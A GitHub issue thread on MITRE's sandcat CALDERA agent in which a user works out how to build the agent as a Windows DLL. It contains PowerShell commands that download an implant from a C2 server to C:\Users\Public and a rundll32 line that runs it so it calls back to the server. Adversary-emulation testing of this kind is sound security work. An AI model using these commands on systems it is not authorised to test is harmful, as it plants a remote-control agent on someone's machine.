mitre / sandcat

A CALDERA plugin
https://caldera.mitre.org/
Apache License 2.0
60 stars 36 forks source link

How do I generate a DLL I can use in Windows? #432

Closed heyquentin closed 11 months ago

heyquentin commented 11 months ago

I'm trying to generate a DLL for use in Windows but I can't seem to figure out how to do that. I did see the documentation on the shared extension

shared extension provides the C sharing functionality for Sandcat. This can be used to compile Sandcat as a DLL rather than a .exe for Windows targets.

but I'm not exactly sure how to implement it. I tried the following:

$server="http://1.1.1.1:8888";
$url="$server/file/download";
$wc=New-Object System.Net.WebClient;
$wc.Headers.add("platform","windows");
$wc.Headers.add("file","sandcat.go");
$wc.Headers.add("gocat-extensions","donut,shellcode,shared");
$wc.Headers.add("server","http://1.1.1.1:8888");
$wc.Headers.add("group","windows");
$data=$wc.DownloadData($url);
[io.file]::WriteAllBytes("C:\Users\Public\sandcat.dll",$data) | Out-Null;

but my DLL isn't usable. What's the correct way to generate a DLL? Thanks!

heyquentin commented 11 months ago

After looking through the code I see that I was missing x86_64-w64-mingw32-gcc and I think it wanted shared.go as a file. This is what my command looks like now:

$url="http://1.1.1.1:8888/file/download"; 
$wc=New-Object System.Net.WebClient;
$wc.Headers.add("platform","windows"); 
$wc.Headers.add("file","shared.go"); 
$output="C:\Users\Public\sandcat_shared.dll"; 
$wc.DownloadFile($url,$output); 

This actually gives me a DLL as well as a shared.h and shared.go-windows in sandcat/payloads. My DLL still doesn't call back to caldera though after execution.

heyquentin commented 11 months ago

I sorted it out.

$server="http://1.1.1.1:8888";
$url="$server/file/download";
$wc=New-Object System.Net.WebClient;
$wc.Headers.add("platform","windows");
$wc.Headers.add("file","shared.go");
$wc.Headers.add("server","http://1.1.1.1:8888");
$wc.Headers.add("gocat-extensions","donut,shellcode");
$wc.Headers.add("group","DLL_TEST");
$data=$wc.DownloadData($url);
[io.file]::WriteAllBytes("C:\Users\Public\hello.dll",$data) | Out-Null;

Then: rundll32 hello.dll,VoidFunc

heyquentin commented 11 months ago

Closing issue